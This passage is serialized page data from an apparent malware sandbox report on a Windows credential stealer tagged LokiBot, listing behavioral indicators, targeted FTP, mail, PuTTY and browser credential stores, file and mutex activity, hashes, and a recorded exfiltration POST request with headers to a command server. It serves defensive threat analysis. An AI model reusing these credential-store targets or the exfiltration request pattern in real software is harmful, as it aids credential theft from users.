\"HKCU\\SOFTWARE\\FAR2\\PLUGINS\\FTP\\HOSTS\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-31","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal FTP credentials from registry","description":"\".exe opens key \" (Path: \"HKCU\\SOFTWARE\\FLASHPEAK\\BLAZEFTP\\SETTINGS\")\n \".exe opens key \" (Path: \"HKCU\\SOFTWARE\\FAR\\PLUGINS\\FTP\\HOSTS\")\n \".exe opens key \" (Path: \"HKCU\\SOFTWARE\\FAR2\\PLUGINS\\FTP\\HOSTS\")\n \".exe opens key \" (Path: \"HKLM\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")\n \".exe opens key \" (Path: \"HKCU\\SOFTWARE\\NCH SOFTWARE\\CLASSICFTP\\FTPACCOUNTS\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":5,"id":"registry-100","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Putty/Winscp sessions from registry","description":"\".exe opens key \" (Path: \"HKCU\\SOFTWARE\\9BIS.COM\\KITTY\\SESSIONS\")\n \".exe opens key \" (Path: \"HKCU\\SOFTWARE\\SIMONTATHAM\\PUTTY\\SESSIONS\")\n \".exe opens key \" (Path: \"HKLM\\SOFTWARE\\SIMONTATHAM\\PUTTY\\SESSIONS\")\n \".exe opens key \" (Path: \"HKLM\\SOFTWARE\\9BIS.COM\\KITTY\\SESSIONS\")","origin":"Registry Access","mitre_attack_id":"T1552.002","relevance":10,"id":"registry-74","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$3d","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Found Putty/Winscp session related registry strings"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Stealer/Phishing","details_count":3,"details":[{"detail":"Reads FTP client related registry keys"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Reads Antivirus engine related registry keys"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Contains ability to enumerate volumes"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":77,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":6,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["banker","lokibot"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64fee3eab669dace250c3903","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"DangerousObject.Multi","contacted_countries":["USA"],"submit_name":"WUDFHost.exe","analysis_start_time":"2023-09-11T09:54:50+00:00","indicators_count":{"informative":116,"suspicious":46,"malicious":11},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.95.46","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"dns_resolutions":[{"domain":"china.fengpower.buzz","address":"104.21.95.46","ttl":300,"country":"United States","registrar_name":"NameSilo, LLC","registrar_organization":"PrivacyGuardian.org llc","registrar_name_servers":"dara.ns.cloudflare.com","registrar_creation_date":"2023-03-27T12:45:51+00:00","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"http_requests":[{"host":"china.fengpower.buzz","host_ip":"104.21.95.46:80","url":"/_errorpages/china/five/fre.php","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /_errorpages/china/five/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: china.fengpower.buzz\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: ADD58140\nContent-Length: 192\nConnection: close","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}],"processes":[{"pid":2664,"ppid":0,"name":"WUDFHost.exe","command_line":"","sha256":"74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60","normalized_path":"C:\\WUDFHost.exe","uid":"00000000-00002664","icon":"$3e"}],"all_imported_dlls":["ws2_32.dll","fltLib.dll","api-ms-win-crt-stdio-l1-1-0.dll","freebl3.dll","ntdll.dll","lpk.dll","msimg32.dll","msvcp140.dll","api-ms-win-crt-filesystem-l1-1-0.dll","rpcrt4.dll","shlwapi.dll","rsaenh.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","profapi.dll","netapi32.dll","msvcr100.dll","api-ms-win-core-localization-l1-2-0.dll","WSHTCPIP.DLL","IPHLPAPI.DLL","softokn3.dll","api-ms-win-core-synch-l1-2-0.dll","advapi32.dll","cryptbase.dll","srvcli.dll","userenv.dll","dnsapi.dll","user32.dll","msvcrt.dll","imm32.dll","msctf.dll","nsi.dll","cryptsp.dll","api-ms-win-crt-multibyte-l1-1-0.dll","netutils.dll","tzres.dll","nss3.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-heap-l1-1-0.dll","wkscli.dll","oleaut32.dll","api-ms-win-crt-runtime-l1-1-0.dll","ucrtbase.dll","api-ms-win-crt-environment-l1-1-0.dll","vcruntime140.dll","wsock32.dll","wship6.dll","dbghelp.dll","sspicli.dll","FWPUCLNT.DLL","KernelBase.dll","VxSSL32.dll","mozglue.dll","version.dll","nssdbm3.dll","vaultcli.dll","samcli.dll","api-ms-win-crt-time-l1-1-0.dll","samlib.dll","kernel32.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","winmm.dll","msasn1.dll","mswsock.dll","rasadhlp.dll","sechost.dll","shell32.dll","api-ms-win-crt-math-l1-1-0.dll","crypt32.dll","winnsi.dll","api-ms-win-crt-utility-l1-1-0.dll","ole32.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-locale-l1-1-0.dll","gdi32.dll","usp10.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b","sha256":"00e2a06416c67cd6f99068fa05e3f926612ae67f27b0dac0f5e25e66a7711759","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\6897110B52C166E7F20FBF0B","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"name":"6897110B52C166E7F20FBF0B","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]}]}},"report_ids":{"sandbox_job_ids":["64fee3eab669dace250c3903"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Malware Sample 74de565481e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 74de565481e0…. Malware family: Malware. Threat score 100/100. 9/29 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample 74de565481e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 74de565481e0…. Malware family: Malware. Threat score 100/100. 9/29 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample 74de565481e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 74de565481e0…. Malware family: Malware. Threat score 100/100. 9/29 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3f","11",{}]]